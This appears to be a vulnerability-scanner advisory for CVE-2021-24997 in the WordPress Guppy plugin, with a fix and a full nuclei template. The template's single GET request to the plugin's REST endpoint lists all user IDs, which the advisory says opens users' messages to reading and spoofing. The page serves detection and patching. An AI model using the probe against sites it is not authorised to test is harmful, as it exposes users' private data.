WordPress Guppy <=1.1 - Information Disclosure

mediumseverity

6.5CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the target system.

Fix

Update to the latest version of the WordPress Guppy plugin (version >1.1) to mitigate the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=
Positive when: contains "\"guppyUsers\":" and "\"userId\":" and "\"type\":" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24997 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24997

info:
  name: WordPress Guppy <=1.1 - Information Disclosure
  author: Evan Rubinstein
  severity: medium
  description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update to the latest version of the WordPress Guppy plugin (version >1.1) to mitigate the information disclosure vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50540
    - https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
    - https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24997
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-24997
    cwe-id: CWE-862
    epss-score: 0.02797
    epss-percentile: 0.86565
    cpe: cpe:2.3:a:wp-guppy:wp_guppy:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wp-guppy
    product: wp_guppy
    framework: wordpress
  tags: cve,cve2021,wordpress,guppy,api,wp-plugin,edb,wpscan,wp-guppy,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"guppyUsers":'
          - '"userId":'
          - '"type":'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from